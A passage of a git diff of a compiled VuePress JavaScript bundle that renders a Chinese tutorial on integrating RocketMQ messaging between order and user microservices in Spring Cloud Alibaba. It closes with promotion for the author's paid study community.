number"}},[s._v("81")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(", "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("transactionId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'null'")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明生成者发送到RocketMQ的消息,被消费者成功消费到了。")]),s._v(" "),a("h2",{attrs:{id:"项目整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#项目整合rocketmq"}},[s._v("#")]),s._v(" 项目整合RocketMQ")]),s._v(" "),a("p",[s._v("我们在项目中模拟一个用户成功下单后,为用户发送通知,通知用户下单成功的逻辑,具体的流程就是下单成功后将订单的信息发送到RocketMQ,然后用户微服务订阅RocketMQ的消息,接收到消息后进行打印。")]),s._v(" "),a("h3",{attrs:{id:"用户微服务整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#用户微服务整合rocketmq"}},[s._v("#")]),s._v(" 用户微服务整合RocketMQ")]),s._v(" "),a("p",[s._v("(1)编码测试RocketMQ时,导入了RocketMQ的依赖,这里就不用再次导入了。")]),s._v(" "),a("p",[s._v("(2)在用户微服务shop-user的application.yml文件中添加如下RocketMQ的配置。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(3)在用户微服务shop-user中创建"),a("code",[s._v("io.binghe.shop.user.rocketmq")]),s._v("包,在包下创建RocketConsumeListener,实现org.apache.rocketmq.spring.core.RocketMQListener接口,具体代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 监听消费\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Component")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RocketMQMessageListener")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("consumerGroup "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"user-group"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" topic "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketConsumeListener")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQListener")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Order")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("onMessage")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Order")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"用户微服务收到了订单信息:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br")])]),a("p",[s._v("其中,RocketConsumeListener类上的@RocketMQMessageListener注解,表示当前类是一个RocketMQ的消费者,在@RocketMQMessageListener注解中配置了消费者组为user-group,主题为order-topic。")]),s._v(" "),a("p",[s._v("至此,用户微服务整合RocketMQ完毕。")]),s._v(" "),a("h3",{attrs:{id:"订单微服务整合rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#订单微服务整合rocketmq"}},[s._v("#")]),s._v(" 订单微服务整合RocketMQ")]),s._v(" "),a("p",[s._v("(1)在订单微服务shop-order的pom.xml文件中添加RocketMQ的依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-spring-boot-starter"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.0.3"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-client"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("4.5.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("p",[s._v("(2)在订单微服务shop-order的application.yml文件中添加如下配置。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name-server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("producer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("group")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v("group\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br")])]),a("p",[s._v("(3)将"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV6Impl")]),s._v("类,复制一份成"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类,接下来,在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类中操作。")]),s._v(" "),a("p",[s._v("将"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类上的@Service注解中的名称修改为orderServiceV7,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Service")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV7"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderServiceV7Impl")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("implements")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略具体代码")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br")])]),a("p",[s._v("(4)在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类中,注入RocketMQTemplate对象,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQTemplate")]),s._v(" rocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(5)在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl#saveOrder()")]),s._v("方法中,提交订单成功后将订单信息写入RocketMQ,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Override")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Transactional")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("rollbackFor "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("saveOrder")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderParams")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//省略上面所有代码")]),s._v("\n rocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br")])]),a("p",[s._v("(6)在"),a("code",[s._v("io.binghe.shop.order.controller.OrderController")]),s._v("中,将注入的OrderService的名称修改成orderServiceV7,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Qualifier")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("value "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"orderServiceV7"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("OrderService")]),s._v(" orderService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br")])]),a("p",[a("strong",[s._v("注意:订单微服务shop-order中,修改后的代码见源码工程,冰河在这里不再粘贴完整的源代码。")])]),s._v(" "),a("h3",{attrs:{id:"测试项目整合的rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试项目整合的rocketmq"}},[s._v("#")]),s._v(" 测试项目整合的RocketMQ")]),s._v(" "),a("p",[s._v("(1)分别启动Nacos,Sentinel,ZipKin和RocketMQ。")]),s._v(" "),a("p",[s._v("(2)分别启动用户微服务、商品微服务、订单微服务和网关服务。")]),s._v(" "),a("p",[s._v("(3)在浏览器中输入"),a("code",[s._v("localhost:10001/server-order/order/submit_order?userId=1001&productId=1001&count=1")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-018","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-018.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)查看用户微服务shop-user的控制台,发现会输出订单的信息,如下所示。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2022")]),s._v("-05-18 "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("20")]),s._v(":37:26.440 INFO "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("server-user,,,"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("18064")]),s._v(" --- "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),s._v("MessageThread_1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" i.b.s.u.rocketmq.RocketConsumeListener "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),s._v(" 用户微服务收到了订单信息:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"address"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"北京"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"id"')]),s._v(":13176882400989185,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"phone"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"13212345678"')]),s._v(","),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"totalPrice"')]),s._v(":2399.00,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"userId"')]),s._v(":1001,"),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"username"')]),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("说明项目中成功集成了RocketMQ。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了19章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-332.js b/assets/js/cg-332.js index bf8df1f27d9ec851638f526c972b9b5e585fc082..8e0a43866a82ff3a026edf4046f48b16c53bda5b 100644 --- a/assets/js/cg-332.js +++ b/assets/js/cg-332.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[332],{621:function(t,s,a){"use strict";a.r(s);var e=a(7),r=Object(e.a)({},(function(){var t=this,s=t._self._c;return 